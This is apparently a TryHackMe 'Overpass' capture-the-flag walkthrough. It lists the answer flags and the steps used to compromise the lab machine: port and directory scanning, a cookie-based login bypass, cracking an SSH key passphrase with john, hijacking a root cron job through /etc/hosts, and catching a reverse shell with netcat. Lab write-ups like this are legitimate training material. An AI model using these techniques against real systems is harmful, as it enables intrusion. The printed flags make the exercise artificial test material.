Overpass - TryHackMe Problem Solving

 1. Hack the machine and get the flag in user.txt

Ans: thm{65c1aaf000506e56996822c6281e6bf7}

2.  Escalate your privileges and get the flag in root.txt

Ans: thm{7f336f8c359dbac18d54fdd64ea753bb}

============= Solving way =============

1. First of all Start Machine and copy id address to past on browser

2. open terminal and run

cmd: nmap -A -sS -sV -T4 ip address for open port and etc

3. Go to browser with ip address visit site and see source code

cmd: gobuster dir -u http://ip --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

 For directory info like "admin,img"

4.  Go to ip/admin page and try login then "inspect" and see view page source

Add Cookie "SessionToken" => "empty"

5. Relod browser and get hash key

cmd: nano id_rsa

cmd: ls

cmd: chmod 600 id_rsa

cmd: ssh2john id_rsa > hash.txt 

cmd: john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

Get password: james13

cmd: ssh -i id_rsa james@ip

For login need Input- key and password 

After login:

james@overpass-prod:~$ ls

cmd: cat user.txt

Get first ans to user text

cmd: cat todo.txt

cmd: ls -la

cmd:  cat .overpass

6. Go to "rot-47 Cipller" and decode then try cmd: sudo -l 

type password " I thing not work "

cmd: cat /etc/issue

cmd: find / -type f -perm -04000 -ls 2>/dev/null

cmd: ls

cmd: cd /home

cmd: ls

cmd: cd jems

cmd: cat /etc/crontab

cmd: cat /etc/hosts

 7. go to terminal new tab cmd: ifconfig 

for pc ip address

back cmd: nano /etc/hosts

change overpass.thm ip address then exit

cmd: cat /etc/crontab

8. go to cmd new tab cmd: sudo mkdir -p downloads/src

cmd: ls

cmd: sudo nano downloads/src/buildscript.sh

9. go to browser  "Reverse shell " input ip address and port to copy reverse

shell and past into nano buildscript.sh file then exit.

 New Cmd: cat downloads/src/buildscript.sh

cmd: ls -la

cmd: sudo chmod +x downloads/src/buildscript.sh

cmd: ls

cmd: python3 -m http.server 80 

new 31 cmd: nc -lvnp 1234

back james@overpass-prod:~$ watch ls -la /bin/bash

new 31 cmd: ls

cmd: id

cmd: cd ..

cmd: pwd

cmd: cd root

cmd: ls

cmd: cat root.txt

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